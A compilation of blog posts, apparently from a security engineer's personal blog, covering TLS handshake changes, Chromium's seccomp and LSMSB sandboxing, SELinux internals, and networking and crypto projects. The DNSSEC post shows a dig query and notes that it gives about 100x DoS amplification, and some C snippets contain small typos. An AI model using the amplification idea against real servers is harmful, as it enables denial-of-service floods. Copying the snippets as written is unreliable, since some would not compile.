                                   <--------      ServerHelloDone
      Certificate*
      ClientKeyExchange
      CertificateVerify*
      [ChangeCipherSpec]
      Finished                     -------->
                                               [ChangeCipherSpec]
                                   <--------             Finished
      Application Data             <------->     Application Data

This means that an HTTPS connection adds an extra two round trips on top of HTTP.

Nagendra Modadugu and myself (independently) came up with a “cut through” mode for TLS handshakes. Rather than wait for the server's Finished message, the client can send application data after only one round trip. This means than an attacker can perform a downgrade attack on the cipher and force the client to transmit with a weaker cipher than it might have normally used. However, an attacker cannot get the key so, as long as all the supported ciphers are strong enough, it all works out.

This cuts a round-trip time from a normal HTTPS handshake and should be appearing in Chromium and Android soon.

(Nelson Bolyard tells me that this isn't a novel idea, although it doesn't seem to have had much traction up til now.)

Next protocol negotiation

TLS over port 443 is the only clean channel that many hosts have these days. However, this means that the TCP destination port number can no longer be used to select an application level protocol since it's fixed by firewalls, proxies etc.

The specific use case for this would be SDPY, a new transport layer for HTTP. We want to know, before we send the first request, if the server supports SDPY.

draft-agl-tls-nextprotoneg describes an extension to let you do that. It's being tested in Chromium at the moment (although not yet in the public tree).

Go launch

I'm delighted to be a minor part of the Go launch today:

Go is an experimental language from Google that I've been coding in for the past month or so. It sits in a similar niche to Java: performant but garbage collected. However, it's vastly more enjoyable to code in than Java!

Thanks to a suite of compilers, it compiles to machine code very quickly. There's also a frontend to GCC in the works. It's runtime and type safe, concurrent, has a novel (for me, at least) take on object orientation and provides runtime reflections on types.

Personally, I think it gets a place in my list of favoured tools, which currently contains C, C++, Python and Haskell.

The TLS flaw that wasn't

There were many articles yesterday suggesting that a major new flaw in TLS (aka SSL) had been found ([1][2][3]). The last of those is a post by Ben Laurie, an expert in these matters, with a suitably hyperbolic title: “Another Protocol Bites The Dust”

Here's the issue: there's an extremely uncommon configuration of web servers where they're setup to require client side certificates for some URLs and not others. If a user has an HTTPS connection open that didn't handshake with a client side certificate and they try to access such a URL, the webserver will perform another handshake on the same connection. As soon as that handshake completes with the correct certificate, they'll run the request that was received from before the connection was fully authenticated.

It's a bug in the web server. There was a misunderstanding between what the folks writing the webserver thought that TLS was providing and what it actually provides. One might also argue that it's a short coming in the HTTP protocol (there's no way for a server to ask a client to redo a request). One might also argue that TLS should provide the properties that the web servers expected.

But it's not a flaw in TLS. The TLS security properties are exactly what was intended.

Now, it appears that the fix will be to TLS. That's fine, but the place that gets ‘fixed’ isn't always the place that made the mistake.

I don't understand why knowledgeable folks like EKR and Laurie are so eager to attribute this problem to TLS.

Anti aliased clipping, a tale of woe

People have been complaining that rounded rectangles in Chrome aren't anti-aliased. If you're a web developer, it seems that this is a Big Deal.

The issue is that almost anything can have rounded corners in WebKit. There's not a drawRoundedRectangle function, instead, clipping paths are created and then normal drawing proceeds. On Safari (which is also WebKit, but sitting on top of the CoreGraphics library), clipping to a path is anti-aliased and everything looks pretty. However, Chrome's graphics library, Skia, doesn't do anti-aliased clipping for a good reason.

Consider the figure below:

At the top left is an anti-aliased clipping region. The darker the pixel, the more is covered by the path. If we were to fill the region with green, we would get the image at the bottom left. When drawing, we consider how much of the clipping region covers each pixel and convert that to an alpha value. For a pixel which was half covered by the clipping region we would calculate 50% × background_color + 50% × green.

However, consider what happens when we first fill with red (top right) and then with green (bottom right). We would expect that the result would be the same as filling with green - the second fill should cover the first. But for pixels which are fractionally covered by clipping region, this isn't the case.

The first fill, with red, works correctly as detailed above. But when we come to do the second fill, the background_color isn't the original background color, but the slightly red color resulting from the first fill. Both CoreGraphics and Firefox's <canvas> have this bug.

It might seem trivial, but if you end up covering anti-aliased clipping regions multiple times you end up with unsightly borders around the clip paths. This is why Skia only supports 1-bit clip paths.

The correct way to do anti-aliased clipping is to draw to a layer, on top of the original bitmap, and, when the clipping path is popped from the clip stack, erase outside of the path (anti-aliased) and composite the result onto the underlying bitmap.

This works just fine, the problem is that <canvas> users don't always pop the clip stack. They expect to be able to set a clipping path, draw and have it appear without managing a stack. We could collapse the clipping stack for them when we paint to the screen, but then we need to restore it afterwards, which would require major surgery to Skia.

The second problem with anti-aliasing, even when done correctly, is that it makes it impossible to put polygons next to each other. Try this demo in Firefox and note the hairlines caused by anti-aliasing.

I think what Chrome will end up doing is to anti-alias the clipping paths (correctly) for everything except <canvas>. This isn't a great solution, but it's better than what we have now.

Chromium's seccomp Sandbox

I wrote an article for LWN about Chromium's seccomp sandbox. They decided that it wasn't in the right style for LWN, and they rewrote it to fit. Their version has just become available for free. I'm including my version below:

The Chromium seccomp sandbox

As part of the process of porting Chromium to Linux, we had to decide how to implement Chromium's sandbox on Linux.

The Chromium sandbox is an important part of keeping users safe. The web is a very complicated place these days and the code to parse and interpret it is large and on the front-line of security. We try to make sure that this code is free of security bugs, but history suggests that we can't be perfect. So, we plan for the case where someone has an exploit against our rendering code and run it in its own process with limited authority. It's the sandbox's job to limit that authority as much as possible.

Chromium renderers need very little authority. They need access to fontconfig to find fonts on the system and to open those font files. However, these can be handled as IPC requests to the browser process. They do not need access to the X server (which is why we don't have GTK widgets on web pages), nor should they be able to access DBus, which is increasingly powerful these days.

Drawing is handled using SysV shared memory (so that we can share memory directly with X). Everything else is either serialised over a socketpair or passed using a file descriptor to a tmpfs file. This means that we can deny filesystem access completely. The renderer requires no network access: the network stack is entirely within the browser process.

Traditional sandboxing schemes on Linux involve switching UIDs and using chroot. We'll be using some of those techniques too. But this text is about the most experimental part of our sandbox: the seccomp layer which my colleague Markus Gutschke has been writing.

The kernel provides a little known feature where by any process can enter ‘seccomp mode’. Once enabled it cannot be disabled. Any process running in seccomp mode can only make four system calls: read, write, sigreturn and exit. Attempting any other system call will result in the immediate termination of the process.

This is quite desirable for preventing attacks. It removes network access, which is traditionally difficult to limit otherwise (although CLONE_NEWNET is might help here). It also limits access to new, possibly dangerous, system calls that we don't otherwise need like tee and vmsplice. Also, because read and write proceed at full speed, if we limit our use of other system calls, we can hope to have a minimal performance overhead.

But we do need to support some other system calls. Allocating memory is certainly very useful. The traditional way to support this would be to RPC to a trusted helper process which could validate and perform the needed actions. However, a different process cannot allocate memory on our behalf. In order to affect the address space of the sandboxed code, the trusted code would have to be inside the process!

So that's what we do: each untrusted thread has a trusted helper thread running in the same process. This certainly presents a fairly hostile environment for the trusted code to run in. For one, it can only trust its CPU registers - all memory must be assumed to be hostile. Since C code will spill to the stack when needed and may pass arguments on the stack, all the code for the trusted thread has to carefully written in assembly.

The trusted thread can receive requests to make system calls from the untrusted thread over a socket pair, validate the system call number and perform them on its behalf. We can stop the untrusted thread from breaking out by only using CPU registers and by refusing to let the untrusted code manipulate the VM in unsafe ways with mmap, mprotect etc.

That could work, if only the untrusted code would make RPCs rather than system calls. Our renderer code is very large however. We couldn't patch every call site and, even if we could, our upstream libraries don't want those patches. Alternatively, we could try and intercept at dynamic linking time, assuming that all the system calls are via glibc. Even if that were true, glibc's functions make system calls directly, so we would have to patch at the level of functions like printf rather than write.

This would seem to be a very tough problem, but keep in mind that if we miss a call site, it's not a security issue: the kernel will kill us. It's just a crash bug. So we could use a theoretically incorrect solution so long as it actually worked in practice. And this is what we do:

At startup we haven't processed any untrusted input, so we assume that the program is uncompromised. Now we can disassemble our own memory, find sites where we make system calls and patch them. Correctly parsing x86 machine code is very tough. Native Client uses a customised compiler which only generates a subset of x86 in order to do it. But we don't need a perfect disassembler so long as it works in practice for the code that we have. It turns out that a simple disassembler does the job perfectly well with only a very few corner cases.

Now that we have patched all the call sites to call our RPC wrapper, instead of the kernel, we are almost done. We have only to consider system calls which pass arguments in memory. Because the untrusted code can modify any memory that the trusted code can, the trusted code couldn't validate calls like open. It could verify the filename being requested but the untrusted code could change the filename before the kernel copied the string from user-space.

For these cases, we also have a single trusted process. This trusted process shares a couple of pages of memory with each of the trusted threads. When the trusted thread is asked to make a system call which it cannot safely validate, it forwards the call to the trusted process. Since the trusted process has a different address space, it can safely validate the arguments without interference. It then copies the validated arguments into the shared memory pages. These memory pages are writable by the trusted process, but read-only in the sandboxed process. Thus the untrusted code cannot modify them and the trusted code can safely make the system call using the validated, read-only arguments.

We also use this trick for system calls like mmap which don't take arguments in memory, but are complicated to verify. Recall that the trusted thread has to be hand written in assembly so we try to minimise the amount of this code where possible.

Once we have this scheme in place we can intercept, examine and deny any system calls. We start off denying everything and then, slowly, add system calls that we need. For each system call we need to consider the security implications it might have. Calls like getpid are easy, but what damage could one do with mmap/munmap? Well, the untrusted code could replace the code which the trusted threads are running for one! So, when a call might be dangerous we allow only a minimal, and carefully examimed, subset of flags which match the uses that we actually have in our code.

We'll be layering this sandbox with some more traditional UNIX sandboxing techniques in the final design. However, you can get a preview of the code in it's incomplete state already at its Google Code homepage.

There's still much work to be done. A given renderer could load a web page with an iframe to any domain. Those iframes are handled in the same renderer, thus a compromised renderer can ask the browser for any of the user's cookies. Microsoft research developed Gazelle, which has much stricter controls on a renderer, at the expense of web-compatibility. We know that users wont accept browsers that don't work with their favourite websites, but we are also very jealous of Gazelle's security properties so hopefully we can improve Chromium along those lines in the future.

Another weak spot are installed plugins. Plugin support on Linux is very new but on Windows, at least, we don't sandbox plugins. They don't expect to be sandboxed and we hurt web-compatibility (and break their auto-updating) if we limit them. That means that plugins are a vector for more serious attacks against web browsers. As ever, keep up to date with the latest security patches!

DNSCurve Internet Draft

Matthew has posted a Internet draft for DNSCurve. DNSCurve is a way of securing DNS which isn't DNSSEC. See Dan's talk from a couple of weeks ago about why DNSCurve is the better answer.

DEFCON 17

I'll be going to DEFCON this year. Ping me if you'll be around.

SELinux from the inside out

struct avc_entry {
        u32                     ssid;    // subject SID
        u32                     tsid;    // object SID
        u16                     tclass;  // class
        struct av_decision      avd;     // contains the set of permissions for that class
};

static int selinux_task_getpgid(struct task_struct *p)
{
        return current_has_perm(p, PROCESS__GETPGID);
}

static int current_has_perm(const struct task_struct *tsk,
                            u32 perms)
{
        u32 sid, tsid;

        sid = current_sid();
        tsid = task_sid(tsk);
        return avc_has_perm(sid, tsid, SECCLASS_PROCESS, perms, NULL);
}

struct sidtab {
        struct sidtab_node **htable;
        unsigned int nel;       /* number of elements */
        unsigned int next_sid;  /* next SID to allocate */
        unsigned char shutdown;
        spinlock_t lock;
};

struct sidtab_node {
        u32 sid;                       /* security identifier */
        struct context context;        /* security context structure */
        struct sidtab_node *next;
};

struct context {
        u32 user;
        u32 role;
        u32 type;
        u32 len;        /* length of string in bytes */
        struct mls_range range;
        char *str;        /* string representation if context cannot be mapped. */
};

constraint for class 'process' permissions:800000:
  DYNTRANSITION
subject.user == object.user?
subject.role == object.role?
and

constraint for class 'file' permissions:188:
  CREATE
  RELABELFROM
  RELABELTO
subject.user == object.user?
[bootloader_t, devicekit_power_t, logrotate_t, ldconfig_t, unconfined_cronjob_t, unconfined_sendmail_t, setfiles_mac_t,
initrc_t, sysadm_t, ada_t, fsadm_t, kudzu_t, lvm_t, mdadm_t, mono_t, rpm_t, wine_t, xdm_t, unconfined_mount_t,
oddjob_mkhomedir_t, saslauthd_t, krb5kdc_t, newrole_t, prelink_t, anaconda_t, local_login_t, rpm_script_t,
sysadm_passwd_t, system_cronjob_t, tmpreaper_t, samba_unconfined_net_t, unconfined_notrans_t, unconfined_execmem_t,
devicekit_disk_t, firstboot_t, samba_unconfined_script_t, unconfined_java_t, unconfined_mono_t,
httpd_unconfined_script_t, groupadd_t, depmod_t, insmod_t, kernel_t, kpropd_t, livecd_t, oddjob_t, passwd_t, apmd_t,
chfn_t, clvmd_t, crond_t, ftpd_t, inetd_t, init_t, rshd_t, sshd_t, staff_t, udev_t, virtd_t, xend_t, devicekit_t,
remote_login_t, inetd_child_t, qemu_unconfined_t, restorecond_t, setfiles_t, unconfined_t, kadmind_t,
ricci_modcluster_t, rlogind_t, sulogin_t, yppasswdd_t, telnetd_t, useradd_t, xserver_t] contains subject.type?
or

constraint for class 'db_database' permissions:7de:
  DROP
  GETATTR
  SETATTR
  RELABELFROM
  ACCESS
  INSTALL_MODULE
  LOAD_MODULE
  GET_PARAM
  SET_PARAM
object.sensitivity[high] dominates type?

  const int afd = socket(PF_UNIX, SOCK_STREAM, 0);
  assert(afd >= 0);

  struct sockaddr_un sun;
  memset(&sun, 0, sizeof(sun));
  sun.sun_family = AF_UNIX;
  strcpy(sun.sun_path, "test-socket");
  assert(bind(afd, (struct sockaddr*) &sun, sizeof(sun)) == 0);
  assert(listen(afd, 1) == 0);
  const int fd = accept(afd, NULL, NULL);
  assert(fd >= 0);

  char buf[256];
  socklen_t bufsize = sizeof(buf);
  assert(getsockopt(fd, SOL_SOCKET, SO_PEERSEC, buf, &bufsize) == 0);
  printf("%s\n", buf);

  → unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 2 00010000
  ← f77fffff ffffffff 0 fffafb7f 11

  const int fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_SELINUX);
  assert(fd >= 0);

  struct sockaddr_nl addr;
  int len = sizeof(addr);
  memset(&addr, 0, len);
  addr.nl_family = AF_NETLINK;
  addr.nl_groups = SELNL_GRP_AVC;
  assert(bind(fd, (struct sockaddr*) &ddr, len) == 0);

  struct sockaddr_nl nladdr;
  socklen_t nladdrlen;
  char buf[1024];
  struct nlmsghdr *nlh = (struct nlmsghdr *)buf;

  for (;;) {
    nladdrlen = sizeof(nladdr);
    const ssize_t r = recvfrom(fd, buf, sizeof(buf), 0,
                               (struct sockaddr*) &nladdr, &nladdrlen);
    assert(r >= 0);
    assert(nladdrlen == sizeof(nladdr));
    assert(nladdr.nl_pid == 0);
    assert((nlh->nlmsg_flags & MSG_TRUNC) == 0);
    assert(nlh->nlmsg_len <= r);

    if (nlh->nlmsg_type == SELNL_MSG_SETENFORCE) {
      struct selnl_msg_setenforce *msg = NLMSG_DATA(nlh);
      printf("enforcing %s\n", msg->val ? "on" : "off");
    } else if (nlh->nlmsg_type == SELNL_MSG_POLICYLOAD) {
      struct selnl_msg_policyload *msg = NLMSG_DATA(nlh);
      printf("policy loaded, seqno:%d\n", msg->seqno);
    }
  }

#include <sepol/policydb.h>
#include <sepol/policydb/policydb.h>

int main(int argc, char **argv) {
  FILE* file = fopen(argv[1], "r");
  sepol_policy_file_t* input;
  sepol_policy_file_create(&input);
  sepol_policy_file_set_fp(input, file);

  sepol_policydb_t* policy;
  sepol_policydb_create(&policy);
  sepol_policydb_read(policy, input);

  printf("users:%d roles:%d types:%d\n",
         policy->p.p_users.nprim
         policy->p.p_roles.nprim
         policy->p.p_types.nprim);

  return 0;
};

General homomorphic encryption

If you've heard of Hal Finney, the following quote should be enough to get you to read: his explanation of the recent homomorphic encryption paper:

Linux sandboxing with LSMSB

Chrome Linux got a dev channel release and I'm very happy with it. It's now my primary browser.

However, one of the big selling points for Chrome on Windows is that the renderers (which deal with decoding the HTML, CSS, image files etc) are sandboxed. We've had exploitable issues in the renderers which which have been stopped by the sandbox. It's a Good Thing.

However, we don't have a sandbox on Linux! The Mac team have been talking about how nice their sandbox is (and I expect we'll get some official documentation about it after WWDC this week). We have to hack around with SUID binaries, chrooting, seccomp and one-size-fits all SELinux solutions.

(I don't wish to discount the good work that the SELinux folks have done: we'll probably use something like that sandbox on Fedora, but Chromium was very carefully written to be sandboxed and we should aim higher.)

So, as part of the exploration of what we could do with sandboxing on Linux, longer term, I have a prototype implementation of LSMSB. It's another literate program of mine, so you can usefully read the source too. The README is included below:

This is LSMSB, a sandboxing scheme for Linux based on the ideas of the OS X
sandbox (which, in turn, was inspired by TrustedBSD and FreeBSD).

Imagine that you're working on a university computer and you get a binary which
promises to do some fiendishly complex calculation, reading from a file ./input
and writing to a file ./output. It also talks to a specific server to access a
pre-computed lookup table. You want to run it, but you don't want to have to
trust that it won't do anything malicious (save giving the wrong answer).

This code is incomplete, but currently you can take a sandbox specification
like this:

filter dentry-open {
  constants {
    var etc-prefix bytestring = "/etc/";
  }

  ldc r2,etc-prefix;
  isprefixof r2,r2,r0;
  jc r2,#fail;
  ldi r0,1;
  ret r0;
#fail:
  ldi r0,0;
  ret r0;
}

... and use it to remove access to /etc.

*** This code functions, but is incomplete ***

It's written in a literate programming style, but the derived sources are
included so that you don't have to bother with that in order to build. You'll
need a recent (> 2.6.30-rc1) kernel in order to apply the included patch. Once
you've applied the patch, drop lsmsb.c into security/lsmsb and rebuild.

You can assemble a sandbox file with:
  ./lsmsb-as sandbox-input.sb > sandbox
And then run a shell in the sandbox with:
  ./lsmsb-install sandbox

To read the code, see http://www.imperialviolet.org/binary/lsmsb.html

Chrome for Linux

Myself and the rest of the Chrome Linux team have been working hard over the past few months to get Chrome ported to Linux. It's certainly very rough still, but it runs and the first development release just got released.

I'm very happy with this and we should be pushing new releases frequently from now on. If you're in the San Francisco office tomorrow, feel free to pop by the office as I'll be bringing in champagne.

Just to be clear, here are some of the things which don't work:

• Plugins (so, no Flash)
• Complex text (this is my TODO, I just got distracted)
• Printing
• Much of the options UI!

W2SP and Seccomp

I gave a talk today at W2SP about opportunistic encryption. You would have to ask someone in the audience how it went to get a real answer, but I feel it went OK.

The talk was based on a paper that I wrote for the conference.

Also, LWN covered some recent work that I've been doing at Google with Linux sandboxing.

Moved to GitHub

I've finally manged to move IV off heeps, a server which it's been ticking along on for the last half decade.

In the process, I've moved to GitHub using their Pages system. We'll see how well it works out!

In the process I've cleaned out a lot of stuff and probably broken lots of links. I trust that the search engines will figure it all out soon enough.

I'll be at CodeCon this y...

I'll be at CodeCon this year.

Thanks to Alexander Sotir...

Thanks to Alexander Sotirov to pushing me to check that the carry chains in donna-c64 were sufficient. I don't know if I realised something when I wrote it which I'm currently missing, or if I just screwed up, but I now believe that they're wrong.

I wrote this Haskell code to check it:

When I wrote curve25519-d...

When I wrote curve25519-donna I implemented many of the critical functions in x86-64 assembly. It was a lot of code, even using the C preprocessor! This got a good 20% boost in speed. This was clearly very important because it made donna-x86-64 faster than djb's version .

However, djb just pointed out that the 64-bit C implementation of donna was now as fast as my hand coded version. Turns out that GCC 4.3 greatly improved the quality of the code generation for this sort of code and now equals my hand crafted efforts! Well done to the GCC team because the C code is vastly smaller and easier to understand. Thus, the x86-64 of donna has been removed from the repo.

Packet sizes in DNSSEC

Even when the DNS root hasn't started signing records, one can still use trust-anchors to employ DNSSEC for those TLDs which support it. Follow the links from Ben Laurie's latest blog post on the matter.

The .se ccTLD is one of those TLDs which support DNSSEC. You can test it with: dig +dnssec -t any se @a.ns.se. You'll see lots of NSEC, RRSIG and DNSKEY records. (DNSSEC is very complicated.)

However, the size of that reply is 3974 bytes long! All that from a request packet of 31 bytes. That's a very easy to use 100x DoS amplication. Of course, if you use mirror amplication like that, you cannot forge the source addresses of the flooding packets, making the flood easier to filter. However, DNSSEC may well bring DoS floods into the reach of many more attackers.

When Layers of Abstractio...

When Layers of Abstraction Don't Get Along: The Difficulty of Fixing Cache Side-Channel Vulnerabilities.

Why networked software should expire.

If your business is still writing letters in WordStar and printing them out on an original Apple Laserwriter, good for you. If you're writing your own LISP in vi on a PDP 10, best of luck. However, if you're still using IE6, that's just rude.

Networked software (by which I just mean programs that talk to other programs) on public networks have a different cost model than the first two examples, but our mental models haven't caught up with that fact yet. We're stuck with the idea that what software you run is your own business and that's preventing needed changes. Here's one example:

ECN (Explicit Congestion Notification) is a modification to TCP and IP which allows routers to indicate congestion by altering packets as they pass though. Early routers dropped packets only when their buffers overflowed and this was taken as an indication of congestion. It was soon noticed that a more probabilistic method of indicating congestion performed better. So routers starting using RED (random early drop) where, approximately, if a buffer is 50% full, a packet has a 50% chance of getting dropped. This gives an indication of congestion sooner and prevented cases where TCP timeouts for many different hosts would start to synchronise and resonate.

To indication congestion, RED drops a packet that has already traversed part of the network; throwing away information. So ECN was developed to indicate congestion without dropping the packets. Network simulations and small scale testing showed a small, but significant benefit from it.

But when ECN was enabled for vger.kernel.org, the mailing list server which handles Linux kernel mailing lists, many people suddenly noticed that their mails weren't getting though. It turned out that many buggy routers and firewalls simply dropped all packets which were using ECN. This was clearly against the specifications and, in terms of code, an easy fix.

ECN wasn't enabled by default in order to give time for the routers to get fixed. In a year or so, it was hoped, it could start to be used and the Internet could start to benefit.

That was over eight years ago now. ECN is still not enabled by default in any major OS. The latest numbers I've seen (which I collected) suggest that 0.5% of destinations will still stop working if you enable ECN and the number of hosts supporting ECN appears to be dropping.

The world has payed a price for not having ECN for the past eight years. Not a lot, but downloads have been a little slower and maybe more infrastructure has been build than was really needed. But who actually paid? Every user of the Internet did, a little bit. But that cost was imposed by router manufactures who didn't test their products and network operators who didn't install updates. Those people saved money by doing less and everyone else paid the price.

These problems are multiplying with the increasing amount of network middleware (routers, firewalls etc) getting deployed; often in homes and owned by people who don't know of care about them.

Recently, Linux 2.6.27 was released and broke Internet access for, probably, thousands of people. Ubuntu Intrepid released with it and had to disable TCP timestamps as a work around while the issue was fixed.

But the issue wasn't a bug in 2.6.27. It was a bug in many home routers (WiFi access points and the like) which was triggered by a perfectly innocent change in Linux that caused the order of TCP options to change. (I felt specifically aggrieved about this because I made that change.) The order was soon changed back and everything started working again.

But, for the future, this now means that the order cannot change. It's not written down anywhere, it's a rule written in bugs. This imposes costs on anyone who might write new TCP stacks in the future, by requiring increased testing and reduced sales as some customers find that it wont work with their routers. These are all costs created by router manufactures and paid by others.

Economists calls these sorts of costs externalities and they are seen as a failure which needs to be addressed. Often, in other areas, they are addressed by regulation or privitisation. Neither of those options appeal in this case.

An uncontroversial suggestion that I'm going to make is that we require better test suites. As a router manufacturer, testing involves checking that your equipment works with a couple of flavors of Windows and, if we're lucky, Linux and some BSDs too. This is much too small of a testing surface. There needs to be an open source test suite designed to test every corner of the RFCs. The NFS connectathons are similar in spirit and probably saved millions of man-hours of debugging over their lifetimes. Likewise, the ACID tests for web browsers focused attention on areas where they were poorly implementing the standards.

And, although my two examples above are both IP/TCP related, I don't want to suggest that the problem stops there. Every common RFC should have such a test suite. HTTP may be a simple protocol but I'll bet that most implementations can't cope with continued header lines. It's those corners which a test suite should address.

Testing should help, but I don't think that it'll be enough. Problems will slip through. Testing against specifications will also never catch problems with the specification itself.

DNS requests can carry multiple questions. There's a big counter in the packet to say how many questions you are asking. However, the reply format can only hold one response code. Thus, I don't know of any DNS server which handles multiple questions (most consider the request to be invalid).

The ability to ask multiple questions would be very helpful. Just look at the number of places which suggest that you turn off IPv6 to make your networking faster. That's because software will otherwise ask a single IPv6 question of DNS, wait for the reply and then ask the IPv4 question. This delay, caused by not being able to request both results in a single request, is causing people to report slowdowns and disable IPv6.

We need to fix DNS, but we never can because one cannot afford break the world. We can't even start a backwards compatible transition because of broken implementations.

That's why networked software should have an expiry date. After the expiry date, the code should make it very clear that it's time to upgrade. For a router, print a big banner when an administrator connects. Flash all the error lights. For software, pop up a dialog every time you start. For home routers, beep and flash a big indicator.

We don't need everyone to update and, as manufacturers fold, maybe there won't be any firmware updates or software upgrades. Almost certainly the device shouldn't stop working. But we need to make more of an effort to recognise that large populations of old code hold everyone else back.

If we can know that nearly all the old code is going to be gone by some date, maybe we can make progress.

(Thanks to Evan for first putting this idea in my mind.)

rwb0fuz1024 included in eBATS

rwb0fuz1024 (pronounced 'robo-fuzz') has been included in the eBATS benchmarking suite. Not all of the test systems have been run with it yet, but here's one which has. It's the fastest verification by fa r .

(Full results here)

Sandboxing on Linux

This blog post has been brought about because of the issues of sandboxing Chromium on Linux (no, it's not ready and wont be for months).

Chromium uses a multiprocess model where each tab (roughly) is a separate process which performs IPCs to a UI process. This means that we can do parallel rendering and withstand crashes in the renderer. It also means that we should be able to sandbox the renderers.

Since the renderer are parsing HTML, CSS, Javascript, running plugins etc, sandboxing them would be very desirable. There's a lot of scope for buffer overflows and other issues in a code base that large and a good sandbox would dramatically reduce the scope of any exploits.

Traditional sandboxes: chroot, resource limits

People have been using chroot jails for many years. A chroot call changes the root of the filesystem for the current process. Once that has happened the process cannot interact with any of the filesystem outside the jail. As long as the process cannot gain root access, it's a good security measure.

Resource limits prevent denial of service attacks by, say, trying to use up all the memory on the system. See the getrlimit manpage for details.

These two mechanisms are supported by most UNIX like systems. However, there are some limitations:

Network access, for one, is not mediated by the filesystem on these platforms, so a compromised process could spew spam or launch attacks on an internal network. Also, the chroot call requires root access. Traditionally this has been done with a small SUID helper binary, but then root access is needed to install etc.

ptrace jails

The ptrace call is used by the strace utility which shows a trace of all the system calls that a child makes. It can also be used to mediate those system calls.

It works like this: the untrusted child is traced by a trusted parent and the kernel arranges that all system calls that the child makes cause a SIGTRAP, stopping the child. The parent can then read the registers and memory of the child and decide if the system call is allowed, permitting it or simulating an error if not.

The first issue is that some system calls take pointers to userspace memory which needs to be validated. Take open, which passes a pointer to the filename to be opened. If the parent wishes to validate the filename it has to read the child's memory and check that it's within limits. That's perfectly doable with ptrace.

The issue comes when there are multiple threads in the untrusted address space. In between the parent validating the filename and the kernel reading it, another thread can change its contents. In the case of open that means that the validator in the parent see one (safe) filename but the kernel actually acts on another. Because of this, either multithreaded children need to be prohibited, or the validator must forbid all system calls which take a pointer to a buffer which needs to be validated.

When calls like open have been prohibited, there's another trick which can be used to securely replace it:

UNIX domain sockets are able to transmit file descriptors between processes. Not just the integer value, but a reference to the actual descriptor (which will almost certainly have a different integer value in the other process). For details see the unix and cmsg manpages.

With this ability an untrusted child can securely open a file by making a request, over a UNIX domain socket to a trusted broker. The broker can validate the filename requested in safety: because it's in another address space the filename is safe between validation and use by the kernel. The broker can then return the file descriptor over the socket to the untrusted child.

The major problem with ptrace jails is that they have a high cost at every system call. On my 2.33GHz Core2 a simple getpid call takes 128ns. When a process is ptraced, that rises to 13,800ns (a factor of 100x slower). Additionally, Chromium on Linux is a 32-bit process because of our JIT, so getting the current time is a system call too.

Seccomp

Seccomp has a rather messy past (see the linked Wikipedia page for details). It's a Linux specific mode which a process can request whereby only read, write, exit and sigreturn system calls are allowed. Making any system call not on the permitted list results in immediate termination of the process.

This is a very tight jail, designed for pure computation and is perfect for that. It's enabled by default in kernel builds (although some distributions disable it I believe). It used to be enabled via a file in /proc but, in order to save space, it's now a prctl.

This issue is that the jail is too tight. It's great that read and write calls are enabled without overhead because that's much of what one of our rendering processes will use, but many other system calls would be nice (brk and mmap for memory allocation, gettimeofday etc). We would have to use the broker model for all of them.

For some calls the broker model has to be updated. Allocating memory to an address space isn't something which can be performed outside that address space so, in this case, the broker for these calls has to be in the same address space. This means that there's an untrusted thread running under seccomp and a trusted thread, not running seccomped, in the same process. The untrusted thread can request more memory by making an request over a pipe to the trusted thread. The trusted thread can then perform the allocation in the same address space.

This presents some issues when writing the trusted code. Because untrusted code has access to the memory the only thing the trusted thread can trust are its registers. That means no stack nor heap usage. Basically the trusted code has to be written in assembly and has to be pretty simple. That's not a huge problem for us however.

But we will be making lots of these other system calls, not just the memory allocation ones, but time calls, poll etc. All have to use a broker model.

To recap, a basic system call (getpid) on my 2.33GHz Core2 takes about 128ns. Performing the same operation over a pipe to another thread takes 7,775ns and to another process takes 8,423ns, roughly a factor of 60x slower.

Again, this is a very painful slowdown given the volume of such calls that we expect to make.

SELinux

Fedora, rightfully, makes a lot of noise about the fact that they have SELinux. It's a huge beast and Fedora's work has mostly been a process of taming the complexity and dealing with the fact that very little is written with SELinux in mind.

I don't have Fedora installed anywhere, but this may be a very nice solution to our issues. However, I suspect that root access will be required, again, to configure it. I speak mostly from a position of ignorance here, however. I should install Fedora at some point and have a play.

The Other Man's Grass

Recent releases of OSX have a system call actually called sandbox_init. It's a little half-baked at the moment, but shows great promise.

It's a feature from TrustedBSD and, in the limit, allows for a Scheme like language to give a detailed specification of the shape of the sandbox which is compiled to bytecode and loaded into the kernel. You can see some examples of the profile language in the slides for this USENIX talk. But, for the moment, I believe that just a few preset profiles are provided (see the manpage).

Rolling one's own

SELinux is implemented atop of LSM which is a general framework for hooking security decisions in the Linux kernel. It's conceivable that one could write a sandboxing module using these hooks.

It would require root access to install, but then so do many of the other solutions. It would probably play badly with other LSM users too, but Fedora is the only major distribution to be using them as far as I know. However, it would also be a large distraction.

Summary of data

Obfuscated TCP

It's now in its 3^rd iteration, Obfuscated TCP now has an updated site, mostly working code etc. I need people to go to the site, look at the docs, watch the video, build the code, try stuff out etc. Tell me what works and what doesn't. Email address is at the top of the page. Thanks to all who do, and remember that you don't just have to email if you have problems, positive reports are good too!

Google datacenters

There are different levels of secrets at Google. Almost everything unreleased is “confidential” - which means that we don't talk about it to the outside world. Then there is the “top secret” stuff - stuff that you don't even talk about to other Googlers.

Now, top secret stuff is rare because it's a little poisonous. An environment where lots of things are secret between coworkers isn't a pleasant one. How we cool our data centers was one of those items and I was sworn to secrecy when I was lucky enough to be given a guided tour of our Oregon operations.

But, for whatever reasons, this information is now public! Seriously, this is some of the coolest (no pun intended) stuff that Google does: go read about evaporative cooling.

A Rabin-Williams signature scheme: rwb0fuz1024

I wrote a Rabin-Williams signature scheme [source]:

• Verification speeds 4x RSA (on a Core2 2.33GHz, at least)
• Signatures are half the size of RSA for the same security
• A hash generic attach is provably as hard as factoring

Crit-bit trees

I wrote up djb's implementation of crit-bit trees for strings here [pdf]. Crit-bit trees have several nice properties:

• Fast: only a single string compare per lookup.
• For finite sets (like 32-bit ints) the depth of the tree is bounded by the length of the longest element.
• Simple code - no complex balancing operations
• Supports the usual tree operations: successor, minimum, prefix set etc.

Several groups of Linux k...

Several groups of Linux kernel papers have been published recently. Here's my pick of them:

First we have the Proceedings of the 2008 Linux Symposium (these are in some order of order, favourite first):

• 'Real Time' vs. 'Real Fast': How to Choose?
• Korset: Automated, Zero False-Alarm Intrusion Detection for the Linux Kernel
• Low Power MPEG4 Player
• I/O Containment
• Bazillions of pages: The future of memory management under Linux
• Linux capabilities: making them work
• Keeping The Linux Kernel Honest (Testing Kernel.org kernels)

